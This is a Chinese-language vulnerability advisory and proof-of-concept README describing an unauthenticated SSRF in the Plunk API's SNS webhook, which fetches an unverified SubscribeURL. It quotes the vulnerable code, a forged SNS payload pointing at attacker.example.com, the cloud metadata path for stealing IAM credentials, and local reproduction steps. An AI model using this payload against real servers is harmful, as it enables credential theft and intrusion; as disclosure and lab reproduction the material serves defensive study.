通过 useplunk/plunk 中未经验证的 AWS SNS SubscriptionConfirmation 实现 SSRF
Plunk API 端点 POST /webhooks/sns 会获取攻击者提供的 SubscribeURL,但未验证 AWS SNS 加密签名。未认证的攻击者可强制服务器发起任意出站 HTTP 请求(SSRF)。
| 严重性 | 严重 — CVSS 9.3(AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-918:服务器端请求伪造 |
| 受影响文件 | apps/api/src/controllers/Webhooks.ts |
| 是否需要认证 | 否 |
// apps/api/src/controllers/Webhooks.ts
if (req.body.Type === 'SubscriptionConfirmation') {
const confirmResponse = await fetch(req.body.SubscribeURL); // SSRF — 无签名验证
if (confirmResponse.ok) {
return res.status(200).json({ success: true, message: 'Subscription confirmed' });
}
}
最小载荷仅需两个字段:
{
"Type": "SubscriptionConfirmation",
"SubscribeURL": "http://attacker.example.com/callback"
}
http://169.254.169.254/latest/meta-data/iam/security-credentials/ 窃取 IAM 凭据启动 Plunk 测试环境:
docker compose up -d
启动 SSRF 回调监听器:
python3 listener.py
运行漏洞利用脚本:
chmod +x exploit.sh
./exploit.sh
观察 listener.py 输出中的回调命中,确认服务器获取了攻击者控制的 URL。
| 文件 | 描述 |
|---|---|
exploit.sh | 端到端漏洞利用脚本 — 向易受攻击的端点发送伪造的 SNS 载荷 |
listener.py | SSRF 回调监听器 — 捕获并记录来自 Plunk 服务器的传入请求 |
docker-compose.yml | 用于本地复现的最小 Docker Compose 环境(Postgres、Redis、Plunk) |